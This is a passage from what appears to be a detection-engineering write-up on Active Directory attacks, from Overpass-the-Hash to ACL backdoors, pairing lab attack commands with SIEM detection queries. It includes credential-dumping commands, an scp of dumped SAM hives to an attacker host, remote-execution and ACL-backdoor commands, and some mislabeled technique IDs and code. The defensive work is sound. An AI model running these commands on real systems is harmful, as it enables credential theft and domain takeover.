Some Silver Ticket attacks could forge only partial service tickets, requiring broader behavioral analytics
Detection assumes Kerberos logons occur within standard ticket lifetime windows (~5 minutes); extreme time skew or service delays may affect correlation

9. Overpass-the-Hash (O-PtH)

Attack Explanation

Overpass-the-Hash (also known as Pass-the-Key) allows attackers to impersonate a domain user by forging a Kerberos TGT using their NTLM hash without needing the plaintext password.

Using tools like Mimikatz or Rubeus, attackers inject a forged TGT into memory and request service tickets (TGS), enabling Kerberos-authenticated lateral movement while avoiding NTLM logon artifacts.

Connection to Detection Mechanism

Overpass-the-Hash detection relies on correlating several unusual artifacts:

A TGT request (Event ID 4768) using RC4 encryption (TicketEncryptionType 0x17) with rare TicketOptions (0x40800010 - Forwardable, Renewable, Proxiable)
A corresponding TGS request (Event ID 4769) from the same IP address and user
A Kerberos network logon (Event ID 4624) linked by consistent LogonGuid values

This chain of events is highly indicative of forged TGT creation and usage typical of Overpass-the-Hash attacks.

Tactic/Technique

MITRE ATT&CK ID: T1550.002 (Use Alternate Authentication Material: Overpass-the-Hash)
Phase: Credential Access / Lateral Movement

Execution Summary

Tool Used: Mimikatz

Command Example:

# Request a TGT using only an NTLM hash (no plaintext password)
Rubeus.exe asktgt /user:Administrator /domain:corp.local /rc4:b3c9c1f2cd4548542c855c7a775ca46e /ptt

# View the injected TGT
Rubeus.exe klist

Adversary Objectives

Forge a valid TGT to access Kerberos resources
Perform stealthy lateral movement without NTLM event artifacts

Execution Context

Privileges Required: NTLM or AES256 hash of a privileged user
Target Systems: Domain-joined hosts or services using Kerberos authentication

Detection Strategy

Log Sources

Windows Security Event Log

Detection Logic

Query 1 – TGT Request with Overpass Indicators:

event.code: "4768" AND
winlog.event_data.TargetUserName: "Administrator" AND
winlog.event_data.TicketEncryptionType: "0x17" AND
winlog.event_data.TicketOptions: "0x40800010"

Query 2 – TGS Request Following Forged TGT:

event.code: 4769 AND
winlog.event_data.TargetUserName: "Administrator@CORP.LOCAL" AND
winlog.event_data.IpAddress: "::ffff:192.168.0.28" AND
winlog.event_data.TicketEncryptionType: "0x12"

Query 3 – Logon Using Forged Tickets:

event.code: 4624 AND
winlog.event_data.LogonGuid: "{e11813f7-f0e8-1275-8ee8-725ffd1c69cc}" AND
winlog.event_data.TargetUserName: "Administrator" AND
winlog.event_data.IpAddress: "192.168.0.28"

Investigation Chain

Step	Investigation Step	Detection Context
1	4768 – TGT request using RC4 and rare TicketOptions (0x40800010)	Unusual forging of TGT using NTLM hash
2	4769 – TGS request shortly after from same host	Service ticket request following forged TGT
3	4624 – Kerberos logon with matching LogonGuid and source IP	Confirms successful logon using forged Kerberos ticket
4	No prior 4776 (NTLM) activity	Indicates attack used Kerberos path, not traditional NTLM logon

Detection Notes

GUID correlation between 4768 → 4769 → 4624 events strengthens detection confidence
TicketOptions 0x40800010 is rare and should raise alerts when seen in TGT requests

Attack Testing Evidence

Command Executed

# Request a TGT using only an NTLM hash (no plaintext password)
Rubeus.exe asktgt /user:Administrator /domain:corp.local /rc4:b3c9c1f2cd4548542c855c7a775ca46e /ptt

# View the injected TGT
Rubeus.exe klist

Partial Output

Injected a forged TGT into current session
mimikatz # kerberos::list → shows ticket for Administrator with Forwardable, Renewable, and Proxiable flags

Event Log Observation

4768 (TGT request) observed from attacker's IP
4769 (TGS request) immediately followed
4624 (Kerberos network logon) linked by the same LogonGuid and IP

Detection Result

Detection successfully triggered based on:

TGT forging artifacts
TGS service ticket request patterns
Correlated Kerberos network logon

Overpass-the-Hash attack confirmed through multi-event correlation.

Improvements

Enrich detections with stronger GUID correlation across TGT → TGS → Logon events
Alert on rare TicketOptions (such as 0x40800010) in 4768 events outside typical flows
Expand monitoring to flag Kerberos activity lacking prior NTLM password authentication (absence of Event ID 4776)

Detection Caveats

Detection relies on observing specific Kerberos authentication sequences (4624, 4768, 4769); gaps in logging may hinder correlation
This detection assumes attackers use RC4 (TicketEncryptionType 0x17); forged TGTs with AES encryption or modified tooling could evade simple checks
Hardcoded usernames, IP addresses, and GUIDs from lab environments must be generalized for production deployments
Full detection requires correlating Kerberos logons (4624) that lack corresponding NTLM Authentication (4776) events
Some Overpass-the-Hash variations may forge only TGS tickets directly, requiring expanded behavioral analytics on TGS issuance patterns

Lab Validation Note

For lab validation, the Overpass-the-Hash attack was reconstructed across Event IDs 4768 → 4769 → 4624, using consistent LogonGuid values to ensure correlation across ticket issuance and logon.

Production Detection Note

In a real-world environment, generalized detection focuses on identifying Kerberos network logons (4624) that occur without prior password-based authentication (absence of Event ID 4776), regardless of specific GUIDs, usernames, or IP addresses.

Generalized Production Query

event.code: "4624" AND
winlog.event_data.LogonType: ("3" OR "10") AND
winlog.event_data.AuthenticationPackageName: "Kerberos" AND
NOT winlog.event_data.SubjectUserName: "*$"

10. LDAP Enumeration

Attack Explanation

LDAP Enumeration is used by attackers to gather detailed information about users, computers, groups, trusts, and ACLs in Active Directory. Tools like PowerView, BloodHound, and ADRecon automate this process through standard LDAP queries and scripts, often without needing elevated privileges.

This reconnaissance phase is critical for attackers to map out privilege escalation paths and identify targets for lateral movement or domain dominance.

Connection to Detection Mechanism

LDAP Enumeration can be detected through:

Event ID 4104 (Script Block Logging) when enumeration commands are executed via PowerShell
Event ID 4662 (DS object access) showing unusual LDAP access patterns

Enumeration tools often leave signatures in the ScriptBlockText, such as Get-Domain*, Invoke-Recon, or Find-LocalAdminAccess. Detecting these patterns helps surface unauthorized domain mapping activity.

Tactic/Technique

MITRE ATT&CK ID: T1615 (Group Policy Preferences)
Phase: Discovery

Execution Summary

Tool Used: PowerView, BloodHound, ADRecon
Command Examples:

Get-DomainUser
Get-DomainComputer
Find-LocalAdminAccess
Invoke-ACLScanner

Adversary Objectives

Discover user privileges, domain trusts, and exploitable ACLs
Build a graph of reachable targets for escalation

Execution Context

Privileges Required: Authenticated domain user (no elevated rights needed)
Target Systems: Domain Controllers and any AD-connected system

Detection Strategy

Log Sources

Windows Security Event Log
PowerShell Script Block Logging

Detection Logic

Query 1 – PowerShell ScriptBlock Enumeration:

winlog.event_id: 4104 AND winlog.event_data.ScriptBlockText: (
  *Get-DomainUser* OR
  *Get-DomainComputer* OR
  *Get-DomainGroup* OR
  *Get-DomainTrust* OR
  *Get-ADUser* OR
  *Get-ADComputer* OR
  *Get-ADGroup* OR
  *net group* OR
  *net user* OR
  *net view* OR
  *Invoke-ACLScanner* OR
  *Find-LocalAdminAccess* OR
  *Invoke-Recon* OR
  *Get-NetDomain* OR
  *Get-NetUser* OR
  *Get-NetGroup* OR
  *Get-ObjectAcl*
)

Query 2 – Generic LDAP Enumeration via Access Logs:

event.code: 4662 AND winlog.channel: "Security" AND
winlog.event_data.ObjectServer: "DS" AND
winlog.event_data.AccessMask: "0x100" AND
NOT winlog.event_data.SubjectUserSid: "S-1-5-18"

Investigation Chain

Step	Investigation Step	Detection Context
1	4104 – PowerShell ScriptBlock logging with Get-Domain*, net user, etc.	Common enumeration commands
2	4662 – Directory Services object access with AccessMask 0x100	Accessing AD data for recon
3	Filter out SubjectUserSid S-1-5-18 (SYSTEM)	Eliminates expected access from domain controllers
4	Correlate tools used (e.g., PowerView, ADRecon)	Connects behavior to known recon utilities

Detection Notes

Focuses on detection of standard enumeration commands and access to Directory Services objects
Excludes SYSTEM account activity to reduce noise

Attack Testing Evidence

Command Executed

Get-DomainUser
SharpHound.exe -c All

Partial Output

ObjectClass : user
samAccountName : jsmith
memberOf : CN=Domain Users,CN=Users,DC=corp,DC=local

Event Log Observation

4104 script block logs contained ACLScanner, Get-Domain* calls
4662 logs showed DS access from non-DC host using regular user credentials

Detection Result

Detection successfully triggered based on:

Script execution of enumeration tooling captured in Script Block logs
Directory Services access attempts flagged through 4662 events

Improvements

Correlate enumeration activity with host privilege level and session context to detect escalation mapping
Tune detection by excluding known safe scripts and filtering out SYSTEM-initiated activities

11. Net & RPC Enumeration

Attack Explanation

Net and RPC enumeration is used by adversaries to gather information about domain users, groups, shares, and services without authenticating. Tools like net user, net group, and CrackMapExec often perform this activity early in an engagement to identify targets and assess exposure anonymously or with low-privilege accounts.

This technique can identify administrative shares (like ADMIN$), privileged groups, or validate successful SMB-based enumeration paths.

Connection to Detection Mechanism

Detection relies on identifying:

SMB logons from non-domain IPs
Use of anonymous logon sessions
Net* enumeration tools triggering Event ID 4624 with LogonType 3 and LogonProcessName: NtLmSsp
Share access to ADMIN$ or IPC$ from suspicious or non-domain sources

These behaviors are commonly seen in attacker tooling like CrackMapExec and match known reconnaissance behaviors from red teams and malware alike.

Tactic/Technique

MITRE ATT&CK ID: T1021.002 (Remote Services: SMB/Windows Admin Shares)
Phase: Discovery / Lateral Movement

Execution Summary

Tool Used: CrackMapExec, net.exe

Command Examples:

# Enumerate network shares and users with anonymous null session
crackmapexec smb 192.168.0.22 -u "" -p "" --shares
net user /domain
net group "Domain Admins" /domain

Adversary Objectives

Enumerate users and groups
Identify privileged accounts and exposed shares
Assess attack surface for lateral movement

Execution Context

Privileges Required: Often none (anonymous access)
Target Systems: Domain Controllers or SMB-exposed systems

Detection Strategy

Log Sources

Windows Security Log
Sysmon (optional for share access tracking)

Detection Logic

Query 1 – Anonymous SMB Logon from Non-Domain IP:

event.code: 4624 AND
winlog.event_data.LogonType: "3" AND
winlog.event_data.IpAddress: "192.168.0.18" AND
agent.hostname: "DC01"

Query 2 – Net or RPC Enumeration by Attacker User:

event.code: 4624 AND
winlog.event_data.LogonType: "3" AND
agent.hostname: "DC01" AND
(
  winlog.event_data.TargetUserName: "ANONYMOUS LOGON" OR
  winlog.event_data.LogonProcessName: "NtLmSsp "
)

Investigation Chain

Step	Investigation Step	Detection Context
1	4624 – LogonType 3 with LogonProcessName: NtLmSsp	Indicates SMB session setup
2	TargetUserName is ANONYMOUS LOGON or null session	Suggests unauthenticated or low-auth recon
3	Access from non-domain IP (e.g., attacker-controlled)	Indicates external enumeration attempt
4	Correlate use of `net user`, `net group`, or `crackmapexec`	Validates active Net or RPC enumeration behavior

Detection Notes

Focuses on identifying anonymous enumeration patterns typical of early-stage recon
Monitoring IPC$ and ADMIN$ share access attempts can enhance detection coverage

Attack Testing Evidence

Command Executed

enum4linux-ng -A 192.168.0.22 -u attacker -p 'Password123!'
crackmapexec smb 192.168.0.22
crackmapexec smb 192.168.0.22 -u attacker -p 'Password123!'
crackmapexec smb 192.168.0.22 -u attacker -p 'Password123!' --shares
crackmapexec smb 192.168.0.22 -u attacker -p 'Password123!' --users
crackmapexec smb 192.168.0.22 -u attacker -p 'Password123!' --groups
crackmapexec smb 192.168.0.22 -u attacker -p 'Password123!' --sessions
crackmapexec smb 192.168.0.22 -u attacker -p 'Password123!' --loggedon-users

Event Log Observation

4624 events from 192.168.0.18 with LogonType 3
LogonProcessName: NtLmSsp
TargetUserName: ANONYMOUS LOGON

Detection Result

Detection successfully triggered based on:

Anonymous SMB enumeration from attacker IP
Validation of enumeration paths targeting domain controllers

Improvements

Tune detection by correlating IP addresses with known non-domain systems
Set alerts on repeated anonymous logons to sensitive shares like IPC$ or ADMIN$

12. BloodHound Recon

Attack Explanation

BloodHound is a graph-based Active Directory enumeration tool that maps out privilege relationships and attack paths within a domain. It uses SharpHound to collect data through LDAP, SMB, and Win32 APIs, allowing attackers to visualize escalation routes to domain dominance.

Because it performs mass queries and object enumeration, BloodHound generates noisy LDAP traffic and leaves artifacts that can be detected with event correlation.

Connection to Detection Mechanism

Detection focuses on volume and access pattern anomalies:

Event ID 4662 (Directory object access) for specific AD object types such as users, groups, ACLs
Exclusion of SYSTEM SIDs and known administrative hosts
Rapid, repeated queries from a single host using a low-privileged user
File share access to IPC$ from non-DC systems

These indicators reveal enumeration and ACL analysis consistent with SharpHound data collection.

Tactic/Technique

MITRE ATT&CK ID: T1482 (Domain Trust Discovery)
Phase: Discovery

Execution Summary

Tool Used: SharpHound (BloodHound collector)

Command Example:

# Execute SharpHound to collect AD object and ACL data
SharpHound.exe -c all -d corp.local -v

Adversary Objectives

Enumerate ACLs, group memberships, sessions, trusts, and relationships
Map attack paths to Domain Admin or Tier 0 assets

Execution Context

Privileges Required: Standard authenticated user
Target Systems: Domain Controller, domain-connected systems

Detection Strategy

Log Sources

Windows Security Log

Detection Logic

Query 1 – High-Volume Directory Access with Critical ObjectType GUIDs:

event.code: "4662" AND
winlog.channel: "Security" AND
winlog.event_data.ObjectServer: "DS" AND
winlog.event_data.AccessMask: "0x100" AND
(
  winlog.event_data.ObjectType: "%{19195a5b-6da0-11d0-afd3-00c04fd930c9}" OR 
  winlog.event_data.ObjectType: "%{bf9679c0-0de6-11d0-a285-00aa003049e2}" OR  
  winlog.event_data.ObjectType: "%{bf967a86-0de6-11d0-a285-00aa003049e2}"
) AND
NOT winlog.event_data.SubjectUserSid: "S-1-5-18"

Query 2 – IPC$ Access from Non-SYSTEM, Non-DC Hosts:

event.code: 5140 AND 
winlog.event_data.ShareName : "\\\\*\\IPC$" AND
NOT winlog.event_data.SubjectUserSid: "S-1-5-18" AND
NOT winlog.event_data.SubjectUserName.keyword: "DC01$"

Query 3 – SYSTEM Context BloodHound Scanning:

event.code: 5140 AND 
winlog.event_data.ShareName : "\\\\*\\IPC$" AND 
winlog.event_data.SubjectUserName: *$* AND
NOT winlog.event_data.SubjectUserSid: "S-1-5-18"

Investigation Chain

Step	Investigation Step	Detection Context
1	4662 – Directory Services access for AD objects (e.g., group/user GUIDs)	Captures LDAP-based object enumeration
2	5140 – Share access to IPC$ from user context	Indicates SMB sessions used by SharpHound
3	5140 – IPC$ access also from SYSTEM account on workstation	Confirms SharpHound SYSTEM collection mode
4	High event volume from a single host	Shows bulk data collection consistent with BloodHound scans

Detection Notes

4662 object access volume and object types point to BloodHound's enumeration phase
5140 share accesses to IPC$ from unusual sources distinguish BloodHound behavior from regular administrative access

Attack Testing Evidence

Command Executed

# Execute SharpHound to collect AD object and ACL data
SharpHound.exe -c all -d corp.local -v

Event Log Observation

4662 events with high-value ObjectType GUIDs from a non-DC workstation
5140 events showing IPC$ access from SYSTEM context and regular user context

Detection Result

Detection successfully triggered based on:

ACL object enumeration volume
Excessive IPC$ share use patterns
Differentiation between SYSTEM and user-based BloodHound activity

Improvements

Profile normal 4662/5140 event volume thresholds per user and host to better detect spikes
Tune false positives by tracking known BloodHound binary signatures and hashes in the environment

13. SAM Dump

Attack Explanation

Dumping the Security Account Manager (SAM) database allows attackers to extract local account credentials from a compromised Windows system. Tools like reg.exe can be used to save a copy of the SAM, SYSTEM, and SECURITY hives, which are later parsed with tools like Mimikatz or secretsdump.py to recover password hashes.

This technique is particularly useful when targeting standalone systems or moving laterally to harvest additional credentials.

Connection to Detection Mechanism

The detection focuses on identifying registry access and dump behaviors:

PowerShell script block logging (Event ID 4104) invoking reg save
File creation events for SAM.save or related registry hive exports
Use of reg.exe as the parent process for file operations targeting SAM paths

These behaviors are low-noise in most environments and indicative of credential dumping attempts.

Tactic/Technique

MITRE ATT&CK ID: T1003 (OS Credential Dumping)
Phase: Credential Access

Execution Summary

Tool Used: reg.exe, Mimikatz, secretsdump.py

Command Examples:

reg save HKLM\SAM C:\Temp\SAM.save
reg save HKLM\SYSTEM C:\Temp\SYSTEM.save

Adversary Objectives

Extract local user password hashes
Use hashes for offline cracking or Pass-the-Hash attacks

Execution Context

Privileges Required: Administrator on the local system
Target Systems: Any Windows machine

Detection Strategy

Log Sources

PowerShell Operational Log (Event ID 4104)
Sysmon FileCreate events (Event ID 11)

Detection Logic

Query 1 – Registry Save Attempt via PowerShell:

event.code: 4104 AND winlog.event_data.ScriptBlockText: *reg save*

Query 2 – File Creation of SAM Hive Copy:

event.code: 11 AND winlog.event_data.TargetFilename: *\\SAM.save* AND winlog.event_data.Image: "C:\\Windows\\system32\\reg.exe"

Investigation Chain

Step	Investigation Step	Detection Context
1	4104 – PowerShell script creating registry hive copies	Shows registry dumping activity
2	4663 or Sysmon Event ID 11 – File write of `sam`, `system`, or `security` hives	Captures file artifact creation
3	Transfer of `.hiv`, `.reg`, or `.zip` files	Indicates possible exfiltration
4	Correlate process lineage (PowerShell → reg.exe or copy → scp)	Confirms attacker-controlled dump path

Detection Notes

Captures attempts to export sensitive registry hives
Combines script execution and file creation for stronger detection fidelity

Attack Testing Evidence

Command Executed

# Save registry hives needed to extract local SAM hashes
reg save HKLM\\SAM sam.save
reg save HKLM\\SYSTEM system.save
reg save HKLM\\SECURITY security.save

# Archive and extract for offline analysis
Compress-Archive -Path .\\sam.save, .\\system.save, .\\security.save -DestinationPath samdump.zip
scp samdump.zip kali@192.168.0.18:/tmp/

# Extract password hashes locally using Impacket
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

Event Log Observation

Event ID 4104 showing reg save script block execution
Event ID 11 showing file creation of C:\Temp\SAM.save by reg.exe

Detection Result

Detection successfully triggered based on:

Registry hive save activity from reg.exe
Logged script block execution and file write targeting sensitive registry paths

Improvements

Correlate Event ID 4104 and Event ID 11 events involving reg.exe for hive dumps
Alert on file creation targeting sensitive hive paths (SAM, SYSTEM, SECURITY)

14. PSExec / WMIExec

Attack Explanation

PSExec and WMIExec are common lateral movement tools that allow attackers to remotely execute commands on a Windows system. PSExec works by installing a service on the remote machine and communicating over SMB, while WMIExec leverages Windows Management Instrumentation for command execution.

These tools are frequently used by red teams, threat actors, and malware alike, particularly because they blend with administrative behavior if not carefully monitored.

Connection to Detection Mechanism

Detection relies on identifying:

LogonType 3 events from attacker IPs using privileged credentials
Use of NTLM authentication
ProcessId and ProcessName set to zero or hyphen (indicating remote execution)
Service install events (Event ID 7045) with suspicious attributes
Share access to ADMIN$ during lateral execution

These signals, when chained, strongly suggest remote administrative tool usage.

Tactic/Technique

MITRE ATT&CK ID: T1021.002 (Remote Services: SMB/Windows Admin Shares)
Phase: Lateral Movement

Execution Summary

Tool Used: CrackMapExec, PSExec, WMIExec

Command Example:

crackmapexec smb 192.168.0.22 -u attacker -p 'Password123!' --exec-method smbexec

Adversary Objectives

Remotely execute commands as privileged user
Expand access laterally across hosts

Execution Context

Privileges Required: Administrator on target machine
Target Systems: Windows workstations or servers with SMB/WMI enabled

Detection Strategy

Log Sources

Windows Security Log
System Log (for service creation events)

Detection Logic

Query 1 – Remote Logon with NTLM, No Process Info:

event.code: 4624 AND
winlog.event_data.LogonType: "3" AND
winlog.event_data.IpAddress: "192.168.0.18" AND
winlog.event_data.TargetUserName: "attacker" AND
winlog.event_data.AuthenticationPackageName: "NTLM" AND
winlog.event_data.ElevatedToken: "%%1842" AND
winlog.event_data.SubjectUserSid: "S-1-0-0" AND
winlog.event_data.ProcessId: "0x0" AND
winlog.event_data.ProcessName: "-"

Query 2 – Service Install with Demand Start by LocalSystem:

event.code: 7045 AND
winlog.event_data.StartType: "demand start" AND
winlog.event_data.AccountName: "LocalSystem" AND
NOT winlog.user.name: "SYSTEM"

event.code: 5140 AND
winlog.event_data.ShareName: "\\\\*\\ADMIN$" AND
NOT winlog.event_data.SubjectUserSid: "S-1-5-18" AND
winlog.event_data.ShareLocalPath: "\\??\\C:\\Windows" AND
NOT winlog.event_data.SubjectUserName.keyword: "*$"

Query 4 – WMIExec Detection via NTLM Logon with SYSTEM Context:

event.code: 4624 AND
winlog.event_data.LogonType: "3" AND
winlog.event_data.AuthenticationPackageName: "NTLM" AND
winlog.event_data.LogonProcessName: "NtLmSsp " AND
winlog.event_data.ElevatedToken: "%%1842" AND
winlog.event_data.IpAddress: "192.168.0.18" AND
winlog.event_data.TargetUserName: ("Administrator" OR "domain-admin" OR "svc-*") AND
winlog.event_data.SubjectUserSid: "S-1-0-0" AND
winlog.event_data.ProcessId: "0x0"

event.code: 5140 AND
winlog.event_data.ShareName: "\\\\*\\ADMIN$" AND
winlog.event_data.AccessMask: "0x1" AND
NOT winlog.event_data.SubjectUserSid: "S-1-5-18" AND
NOT winlog.event_data.SubjectUserName.keyword: "*$" AND
NOT winlog.event_data.IpAddress: "127.0.0.1"

Investigation Chain

Step	Investigation Step	Detection Context
1	4624 – LogonType 3 with NTLM from attacker IP	Network logon via tool like PSExec
2	7045 – New service installed with binary path pointing to attacker payload	PSExec installs a temporary service
3	5140 – ADMIN$ access from attacker IP	File drop location for PSExec
4	4624 – LogonType 3 with SYSTEM user, matching WMIExec behavior	Indicates SYSTEM-level execution with WMI service calls

Detection Notes

Remote logons with NTLM authentication, missing process info, and ADMIN$ access indicate PSExec/WMIExec usage
Service creation detection helps distinguish PSExec behavior from other lateral tools

Attack Testing Evidence

Command Executed

# Remote execution with PSExec using cleartext credentials
psexec.py 'corp.local/attacker:Password123!@192.168.0.28'

# Remote execution using WMIExec (semi-interactive shell)
wmiexec.py 'corp.local/attacker:Password123!@192.168.0.28'

Partial Output

[*] Requesting shares on 192.168.0.28.....
[*] Found writable share ADMIN$
[*] Uploading file aoADzKuT.exe
[*] Opening SVCManager on 192.168.0.28.....
[*] Creating service bBJn on 192.168.0.28.....
[*] Starting service bBJn.....

[*] SMBv3.0 dialect used

Event Log Observation

4624 events from 192.168.0.18 with no process details
7045 events showing random service installed under LocalSystem
5140 events showing ADMIN$ access

Detection Result

Detection successfully triggered based on:

Remote logon with no process context
Service creation linked to remote execution
ADMIN$ share access correlated to attacker's IP

Improvements

Enrich alerts with frequency tracking of service installations
Add service name entropy scoring to highlight random or suspicious service names
Correlate service install events with failed and successful remote logon attempts

Detection Caveats

Detection relies on Event 7045 (Service install) and 4624 logons with no parent process ID; some malware uses named pipes without service creation
May miss advanced lateral movement tools that use direct named pipe execution or existing services without triggering new service installation events

15. GPO Abuse

Attack Explanation

Group Policy Objects (GPOs) define system configurations across domain-joined machines. Attackers with write access to GPOs can abuse them to assign privileges, run scripts, or configure persistence mechanisms. GPO abuse typically follows privilege escalation, enabling widespread impact by modifying security-sensitive policies.

Tools like PowerView or native PowerShell cmdlets such as Set-GPPermissions or Get-GPPermissions are often used to enumerate and manipulate GPOs during attacks.

Connection to Detection Mechanism

Detection hinges on identifying:

PowerShell script block logging (Event ID 4104) containing keywords for GPO enumeration or modification
Keywords such as Set-GPPermissions or Get-GPPermissions, which are uncommon in routine administrative operations and often signal intent to modify GPOs

These script block detections can be enriched by correlating with user context and execution host.

Tactic/Technique

MITRE ATT&CK ID: T1484.001 (Domain Policy Modification: Group Policy Modification)
Phase: Persistence / Privilege Escalation

Execution Summary

Tool Used: PowerView, PowerShell

Command Example:

Set-GPPermissions -Name "Default Domain Policy" -PermissionLevel GpoApply -TargetName "attacker" -TargetType User

Adversary Objectives

Modify GPOs to enforce attacker-controlled settings
Gain persistence or distribute payloads silently

Execution Context

Privileges Required: GPO write or delegated permissions
Target Systems: Domain Controllers or policy-managed endpoints

Detection Strategy

Log Sources

PowerShell Operational Log (Event ID 4104)

Detection Logic

Query 1 – GPO Abuse Keyword - Set-GPPermissions:

event.code: 4104 AND winlog.event_data.ScriptBlockText: *Set-GPPermissions*

Query 2 – GPO Enumeration - Get-GPPermissions:

event.code: 4104 AND winlog.event_data.ScriptBlockText: *Get-GPPermissions*

Investigation Chain

Step	Investigation Step	Detection Context
1	4104 – PowerShell command `Set-GPPermissions` observed	Indicates privilege assignment abuse
2	4104 – PowerShell command `Get-GPPermissions` observed	Suggests reconnaissance or misconfiguration discovery
3	4662 – GPO DACL modified	Object access showing ACL changes on GPO
4	4732 / 4728 – Group membership changes from GPO push	Confirms policy abuse led to privilege escalation

Detection Notes

Set-GPPermissions usage is rare and strongly correlates with unauthorized GPO modification attempts
Get-GPPermissions enumeration is a reconnaissance indicator for GPO abuse planning

Attack Testing Evidence

Command Executed

# Grant attacker GPO edit rights on the Default Domain Policy
Set-GPPermissions -Name "Default Domain Policy" -TargetName "corp\\attacker" -TargetType User -PermissionLevel GpoEdit

# Validate that the new user has edit rights
Get-GPPermissions -Name "Default Domain Policy" | Where-Object { $_.Trustee.Name -eq "corp\\attacker" }

Partial Output

Not applicable; the command does not generate output unless piped

Event Log Observation

4104 events captured showing Set-GPPermissions command execution
Activity originated from user attacker on WORKSTATION01

Detection Result

Detection successfully triggered based on:

GPO permission modification attempts captured through script block logging
Identification of suspicious GPO manipulation by a non-privileged user

Improvements

Correlate Event ID 4104 detections with 4624 (logon events) to track who executed the scripts and from which machine
Implement alerts when GPPermissions modifications originate from non-administrative or non-DC workstations

Detection Caveats

Detection requires Event ID 4104 Script Block Logging enabled at the proper verbosity level
Environments lacking comprehensive PowerShell logging will have limited visibility into GPO abuse attempts

16. AdminSDHolder Abuse

Attack Explanation

The AdminSDHolder object protects high-privileged groups (like Domain Admins) by enforcing secure ACLs. Every 60 minutes, a background process (SDProp) resets ACLs on protected objects to match AdminSDHolder. Attackers who modify the AdminSDHolder ACL can persistently add themselves (or their backdoor accounts) into protected groups.

This grants stealthy, persistent privileged access—even after group cleanup—because permissions are reapplied regularly.

Connection to Detection Mechanism

Detection focuses on identifying:

PowerShell script block logging (Event ID 4104) for known abuse commands
Abuse indicators such as dsacls, AddAccessRule, Set-ADObject, and adminCount

These keywords suggest ACL tampering on protected AD objects. Such detections are rare in benign environments and signal privilege escalation or persistence attempts.

Tactic/Technique

MITRE ATT&CK ID: T1098.004 (Account Manipulation: Add Administrative Access)
Phase: Persistence / Privilege Escalation

Execution Summary

Tool Used: PowerShell, PowerView

Command Examples:

dsacls "CN=AdminSDHolder,CN=System,DC=corp,DC=local"
Set-ADObject -Identity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -Replace @{"adminCount"=1}

Adversary Objectives

Modify AdminSDHolder ACL to backdoor or persist control of protected groups
Maintain stealthy, high-privileged access across SDProp cycles

Execution Context

Privileges Required: Domain Admin or equivalent delegated ACL permissions
Target Systems: Domain Controllers, AdminSDHolder container

Detection Strategy

Log Sources

PowerShell Operational Log (Event ID 4104)

Detection Logic

Query 1 – dsacls + AdminSDHolder Manipulation

event.code: 4104 AND winlog.event_data.ScriptBlockText: (*dsacls* AND *AdminSDHolder*)

Query 2 – AddAccessRule Abuse in AdminSDHolder Context:

event.code: 4104 AND winlog.event_data.ScriptBlockText: (*AddAccessRule* AND *AdminSDHolder*)

Query 3 – Registry-Style Mod via Set-ADObject:

event.code: 4104 AND winlog.event_data.ScriptBlockText: (*Set-ADObject* AND *adminCount*)

Query 4 – ACL ObjectSecurity Reference to AdminSDHolder:

event.code: 4104 AND winlog.event_data.ScriptBlockText: (*ObjectSecurity.Access* AND *AdminSDHolder*)

Investigation Chain

Step	Investigation Step	Detection Context
1	4104 – PowerShell usage of `dsacls`, `Set-ADObject`, or `AddAccessRule`	Shows attacker manipulating the AdminSDHolder ACL
2	4662 – Access to AdminSDHolder object with write permissions	Indicates DACL change on protected group container
3	4732 / 4728 – Group membership change triggered by ACL persistence	Maps ACL backdoor to eventual privilege escalation
4	Persistence survives privilege cleanups due to AdminSDHolder resets	Highlights long-term impact of ACL change

Detection Notes

Set-ADObject usage combined with adminCount references indicates likely abuse.
Monitoring dsacls adjustments against AdminSDHolder offers a second layer of detection coverage.

Attack Testing Evidence

Command Executed

# Assign Full Control (GenericAll) to the attacker on AdminSDHolder object
dsacls "CN=AdminSDHolder,CN=System,DC=corp,DC=local" /G corp\attacker:GA

# Verify that the new ACE was applied
$object = [ADSI]"LDAP://CN=AdminSDHolder,CN=System,DC=corp,DC=local"
$object.psbase.ObjectSecurity.Access | Where-Object { $_.IdentityReference -like "*attacker*" }

Event Log Observation

4104 logs showed modification commands containing AdminSDHolder references
Clear script execution path for privilege escalation identified

Detection Result

Detection successfully triggered based on:

AdminSDHolder ACL tampering attempts surfaced through script block logging
Identified persistence via SDProp inheritance model

Improvements

Monitor replication or SDProp timing to detect automatic ACL reapplications.
Alert when new privilege assignments are tied to AdminSDHolder ACL inheritance.

Detection Caveats

Direct LDAP ACL edits without PowerShell usage may evade this detection; monitor Directory Service Access logs (Event ID 4662) separately for comprehensive coverage.

17. ACL Backdoor

Attack Explanation

ACL backdoors involve modifying the security descriptors of domain objects (users, groups, computers) to grant hidden permissions to an attacker-controlled account. This technique can give an attacker full control over an object (via GenericAll, GenericWrite, or WriteDacl), allowing persistence and stealthy privilege escalation.

It is frequently used post-compromise when the attacker has rights to modify object ACLs, either directly or through misconfigured delegation.

Connection to Detection Mechanism

Detection relies on monitoring PowerShell script block logging (Event ID 4104) for abuse indicators:

ACL backdoor operations via AddAccessRule, Set-Acl, Get-Acl, and ObjectSecurity.Access
Targeting keywords like GenericAll and WriteDacl

These operations are uncommon during normal administration and signal tampering of AD object security descriptors.

Tactic/Technique

MITRE ATT&CK ID: T1098.004 (Account Manipulation: Add Administrative Access)
Phase: Persistence / Privilege Escalation

Execution Summary

Tool Used: PowerShell, PowerView

Command Example:

$acl = Get-Acl "AD:\CN=Administrator,CN=Users,DC=corp,DC=local"
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule("corp\attacker", "GenericAll", "Allow")
$acl.AddAccessRule($rule)
Set-Acl -Path "AD:\CN=Administrator,CN=Users,DC=corp,DC=local" -AclObject $acl

Adversary Objectives

Grant attacker account full control over critical AD objects
Bypass group membership restrictions
Maintain stealthy administrative access

Execution Context

Privileges Required: Object control (e.g., via delegated rights)
Target Systems: Domain users, Admin accounts, high-value objects

Detection Strategy

Log Sources

PowerShell Operational Log (Event ID 4104)

Detection Logic

Query 1 – PowerShell ACL Backdoor Operations:

event.code: 4104 AND winlog.event_data.ScriptBlockText: (*AddAccessRule* AND *GenericAll*)

Query 2 – Set-Acl on High-Value Objects:

event.code: 4104 AND winlog.event_data.ScriptBlockText: (*Set-Acl* AND *CN=Administrator*)

Query 3 – ObjectSecurity Descriptor Manipulation:

event.code: 4104 AND winlog.event_data.ScriptBlockText: (*ObjectSecurity.Access* AND *GenericAll*)

Investigation Chain

Step	Investigation Step	Detection Context
1	4104 – PowerShell `Set-Acl` or `Get-Acl` on high-value objects	Suggests targeted DACL tampering
